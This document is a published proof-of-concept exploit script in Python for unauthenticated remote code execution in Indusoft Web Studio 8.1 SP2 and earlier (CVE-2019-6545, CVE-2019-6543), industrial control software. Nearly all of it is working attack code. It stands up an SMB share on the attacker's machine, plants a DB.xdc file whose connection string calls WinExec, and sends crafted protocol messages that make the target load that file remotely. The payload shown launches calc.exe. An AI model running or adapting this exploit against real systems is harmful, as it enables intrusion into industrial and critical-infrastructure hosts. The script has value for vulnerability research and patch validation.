### Exploit Title: Indusoft Web Studio Unauthenticated RCE# Date: 02/04/2019# Exploit Author: Jacob Baines# Vendor Homepage: http://www.indusoft.com/# Software http://www.indusoft.com/Products-Downloads/Download-Library# Version: 8.1 SP2 and below# Tested on: Windows 7 running the Web Studio 8.1 SP2 demo app# CVE : CVE-2019-6545 CVE-2019-6543# Advisory:
https://sw.aveva.com/hubfs/assets-2018/pdf/security-bulletin/SecurityBulletin_LFSec133.pdf?hsLang=en
# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-19-036-01# Advisory: https://www.tenable.com/security/research/tra-2019-04##
import argparse
import threading
import socket
from struct import *
import time
import sys
from impacket import smbserver
### The SMB Server function. Runs on its own thread.# @param lip the listening IP address##
def smb_server(lip):
server = smbserver.SimpleSMBServer(listenAddress=lip, listenPort=445)
server.addShare('LOLWAT','.','')
server.setSMBChallenge('')
server.setLogFile('/dev/null')
server.start()### Converts a normal string to a utf 16 with a length field.# @param s the string to convert##
def wstr(s):
slen = len(s)
s = s.encode('utf_16_le')
out = '\xff\xfe\xff'if slen < 0xff:
out += pack('<B', slen)+ s
elif slen < 0xffff:
out +='\xff'+ pack('<H', slen)+ s
else:
out +='\xff\xff\xff'+ pack('<L', slen)+ s
return out
if __name__ == '__main__':
top_parser = argparse.ArgumentParser(description='test')
top_parser.add_argument('--cip', action="store", dest="cip",
required=True, help="The IPv4 address to connect to")
top_parser.add_argument('--cport', action="store", dest="cport",type=int, help="The port to connect to", default="1234")
top_parser.add_argument('--lip', action="store", dest="lip",
required=True, help="The address to connect back to")
args = top_parser.parse_args()# Connect to the remote agent
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to "+ args.cip +":"+ str(args.cport)
sock.settimeout(15)
sock.connect((args.cip, args.cport))
print "[+] Connected!"# spin up the SMB server thread
print "[+] Spinning up the SMB Server"
smb_thread = threading.Thread(target=smb_server, args=(args.lip,))
smb_thread.daemon = True;
smb_thread.start()# drop the xdc file
print "[+] Creating the DB.xdc file"
xdc = open("./DB.xdc","w+")
xdc.write("<?xml version=\"1.0\"?>\n""<Connection>\n""\t<ConnectionString>{WinExec(\"calc.exe\")}</ConnectionString>\n""\t<User></User>\n""\t<TimeOut>2</TimeOut>\n""\t<LongTimeOut>5</LongTimeOut>\n""\t<HostName>127.0.0.1</HostName>\n""\t<TCPPort>3997</TCPPort>""\t<Flags>0</Flags>\n""\t<RetryInterval>120</RetryInterval>\n""</Connection>\n")
xdc.close()
print "[+] Sending the connection init message"
init_conn = "\x02\x31\x10\x31\x10\x38\x10\x31\x10\x31\x03"
sock.sendall(init_conn)
resp = sock.recv(1024)
print '<- '+ resp
# do a basic validation of the responseif(len(resp) > 0 and resp[len(resp) - 1] == '\x03'):
print "[+] Received an init response"else:
print "[-] Invalid init response. Exiting..."
sock.close()
sys.exit(0)# Craft command 66
cmd = wstr('CO')# options: EX, CO, CF, CC
cmd += wstr('\\\\'+ args.lip +'\\LOLWAT\\DB')# file to load
cmd += wstr('')
cmd += wstr('')
cmd += wstr('')
cmd += wstr('lolwat')
cmd += pack('<L', 0x3e80)
cmd += pack('<L', 0)
cmd += pack('<L', 100)
cmd = '\x02\x42'+ cmd +'\x03'# Send it to the agent
print "[+] Sending command 66"
sock.sendall(cmd)
print "[+] Grabbing the command response"
resp = sock.recv(1024)
print '<- '+ resp
if resp.find("Format of the initialization string does not conform to
specification starting at index 0".encode('utf_16_le'))!= -1:
print '[+] Success! We received the expected error message.'else:
print '[-] Unexpected error message. Something went wrong.'
print '[+] Disconnecting'
sock.close()
print '[+] Wait while the agent disconnects from the SMB server...'
sys.exit(0)
